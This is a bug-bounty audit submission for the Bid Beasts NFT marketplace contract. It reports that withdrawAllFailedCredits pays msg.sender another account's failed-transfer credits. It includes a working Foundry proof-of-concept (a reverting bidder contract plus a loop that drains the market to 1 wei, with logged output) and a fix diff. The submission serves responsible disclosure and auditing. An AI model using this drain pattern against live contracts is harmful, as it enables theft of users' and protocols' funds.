Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized credit withdrawel due to incorrect mapping update in `BidBeastsNFTMarket::withdrawAllFailedCredits` function opens for attacker to drain protocol

phylax

Root + Impact

Description

  • The BidBeastsNFTMarket::withdrawAllFailedCredits function makes it possible for users to retrieve ETH that has not been payed out due to failed transaction from protocol to user.

  • The issue with the withdrawAllFailedCredits function is that the failedTransferCredits mapping retrieves the failed credits from _receiver address, then updates the failed credits of msg.sender to 0 and sends the _receiver credits to msg.sender.

function withdrawAllFailedCredits(address _receiver) external {
// The amount is from receiver
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
// Sets the msg.sender's balance to 0
failedTransferCredits[msg.sender] = 0;
// Sends ETH to msg.sender
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • The likelihood of an transaction failing over a long period of time is high.

  • Anyone can make a transfer to revert and then call the withdrawAllFailedCreditsfunction.

Impact:

  • The attacker only needs to find or make one failed transfer to be able to drain the protocol for ETH.

  • The user that did not get paid is at risk of loosing their ETH.

Proof of Concept

  1. Attacker makes a contract that has a receive function that reverts.

  2. Attacker makes first bid with the contract that reverts.

  3. Attacker makes a higher bid from another address which triggers the refund to previous bidder. This transaction reverts and mapping failedTransferCreditsgets updated with a balance.

  4. Attacker then calls withdrawAllFailedCreditsfunction with the contract address that reverts as parameter. Does call this function multiple times until the protocol is drained for ETH.

First add this contract to the test suite. It simulates an address that fails to receive ETH so that their failedTransferCredits mapping gets a balance.

contract RevertingBidder {
// Make receive revert so any attempt to refund via .call fails
receive() external payable {
revert("I reject ETH");
}
}

Then add this test to the test suite:

address public constant ATTACKER = address(0x5);
​
function test_drainProtocolViaWithdrawAllFailedCredits() public {
// Simulate a bidder whose address cannot receive ETH refunds
RevertingBidder userFailedPayout = new RevertingBidder();
​
// Funds the address that will fail to receive ETH
vm.deal(address(userFailedPayout), 10 ether);
​
// Fund the protocol that the attacker will try to drain
// Add extra 1 wei that will remain after the attack is completed
vm.deal(address(market), 100 ether + 1);
​
// Mint and list an NFT
_mintNFT();
_listNFT();
​
// The userFailedPayout places a bid
vm.prank(address(userFailedPayout));
market.placeBid{value: 2 ether}(TOKEN_ID);
​
// Another bidder places a higher bid, triggering a refund to userFailedPayout which will fail and credit their failedTransferCredits
vm.prank(BIDDER_1);
market.placeBid{value: 4 ether}(TOKEN_ID);
​
// Check protocol and attacker balances before the attack
uint256 balanceProtocolBeforeAttack = address(market).balance;
console.log("Protocol balance before attack:", balanceProtocolBeforeAttack);
console.log("Attacker balance before attack:", ATTACKER.balance);
​
// Attacker starts the attack, repeatedly withdrawing the failed credits of userFailedPayout until there is only 1 wei left in the protocol
vm.startPrank(ATTACKER);
while (address(market).balance > 2 ether) {
market.withdrawAllFailedCredits(address(userFailedPayout));
}
vm.stopPrank();
​
// Check protocol and attacker balances after the attack
uint256 balanceProtocolAfterAttack = address(market).balance;
console.log("Protocol balance after attack:", balanceProtocolAfterAttack);
console.log("Attacker balance after attack:", ATTACKER.balance);
}

This will be the output. As you can see the attacker has drained all but 1 wei from the protocol:

[PASS] test_drainProtocolViaWithdrawAllFailedCredits() (gas: 1080423)
Logs:
Protocol balance before attack: 106000000000000000001
Attacker balance before attack: 0
Protocol balance after attack: 1
Attacker balance after attack: 106000000000000000000

Recommended Mitigation

Update the function so that the receivers failedTransferCreditsmapping is updated to 0 and the funds gets sent to receiver

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
​
- (bool success,) = payable(msg.sender).call{value: amount}("");
+ (bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!